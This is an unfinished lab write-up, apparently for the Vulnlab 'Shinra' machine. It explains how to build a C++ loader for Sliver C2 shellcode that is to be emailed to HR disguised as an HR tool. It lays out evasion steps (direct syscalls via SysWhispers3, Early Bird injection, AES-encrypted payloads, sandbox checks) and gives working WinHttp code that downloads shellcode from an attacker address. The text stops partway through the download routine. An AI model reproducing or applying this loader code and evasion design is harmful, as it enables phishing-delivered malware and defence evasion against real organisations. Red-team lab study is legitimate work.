VL Shinra - Writing a loader
I never finished writing this, accidently commited it with posting another writeup so enjoy something that is not finished, hopefully it will help :D
Loader design
Before we start with the fun stuff we first have to decide what our goals are and what we need to achieve them. We need to make a .exe as the email by HR stated they would like the HR tool mailed to them again.
We will be using the Sliver C2 framework throughout this lab so we will use the shellcode of Sliver without obfuscation offered by Sliver. Sliver is written in Golang and even the shellcode is huge so retrieving this remotely would be nice and gives us flexebility when we need to change anything to our shellcode.
XCT creaed a Opsec Consideration page so we will be using these recommendations:
- SysWhisperer3
- Early Bird
- Keeping memory RX
In addition to this we will add some additional features such as:
- Encrypted shellcode with AES
- Sandbox escaping by verifying the username
Throughout this writeup we will be writing in C++ and a little bit of Python.
SysWhisperer3 Direct Syscalls
We start with generating the neccesary files for our direct syscalls with SysWhisperer3. This project supports both direct and indirect syscalls, the main difference between these two is the way the syscall is made. With direct syscalls the syscall will be performed from our own .exe instead of going through NTDLL first which is abnormal and can be an IoC. Indirect syscalls solves this problem by making the syscalls via NTDLL instead of from our own .exe. A great source to get more details on this is the amazing blogpost from RedOps.
Once the repo is on your dev VM, we can generate the required syscalls with the following command:
1
python .\syswhispers.py --preset common -o <path/to/your/project/syscalls_common>
This will create a couple of new files:
Remote Shellcode
We will first start with building function that should retrieve our shellcode. Microsoft has some amazingly documented WinAPIs for this WinHttp.
We start with defining some macros to make it easier to reuse the code:
1
2
3
#define URL L"10.8.0.69"
#define FILENAME L"bushi.bin"
#define HOST_HEADER L"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0"
The first two are self explaining, the header is a good practise to always add since many enterprises do not allow requests to the internet without host-headers. We now start following the docs and slowly build our GET request.
We first will be calling WinHttpOpen, the return value states that it will return a session handle if succesful and otherwise NULL:
1
2
3
4
5
HANDLE hInternet = WinHttpOpen(HOST_HEADER, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, nullptr, 0);
if (hInternet == nullptr) {
printf("[!] WinHttpOpen failed with %lu \n", GetLastError());
exit(0);
}
We can now use WinHttpConnect to specify our target URL and some extra options:
1
2
3
4
5
HANDLE hConnect = WinHttpConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0);
if (hConnect == nullptr) {
printf("[!] WinHttpConnect failed with %lu \n", GetLastError());
exit(0);
}
WinHttpOpenReuqest opens a HTTP request for our resourcen and returns a handle which we need to actually send the request.
1
2
3
4
5
HANDLE hRequest = WinHttpOpenRequest(hConnect, L"GET", FILENAME, nullptr, nullptr, nullptr, 0);
if (hRequest == NULL) {
printf("[!] WinHttpOpenRequest failed with %lu \n", GetLastError());
exit(0);
}
We do not need to add extra request headers so we can skip over WinHttpAddRequestHeaders and go straight to WinHttpSendRequest:
1
2
3
4
BOOL Status = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (Status == FALSE) {
printf("[!] WinHttpSendRequest failed with %lu \n", GetLastError());
}
Now our request is send we somehow have to get the data we need, we will be using WinHttpReceiveResponse and WinHttpReadData for that